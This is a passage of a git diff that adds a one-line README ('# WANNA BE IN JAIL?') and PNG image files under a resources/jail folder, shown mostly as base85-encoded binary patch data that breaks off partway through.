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 literal 0 HcmV?d00001 diff --git a/resources/jail/README.md b/resources/jail/README.md new file mode 100644 index 00000000..563b60ca --- /dev/null +++ b/resources/jail/README.md @@ -0,0 +1 @@ +# WANNA BE IN JAIL? diff --git a/resources/jail/hmm.png b/resources/jail/hmm.png new file mode 100644 index 0000000000000000000000000000000000000000..7bda67267bcc1a04884fccf2114ceb95a3c3b58c GIT binary patch literal 369253 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℘p=`lrMI!zO% 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 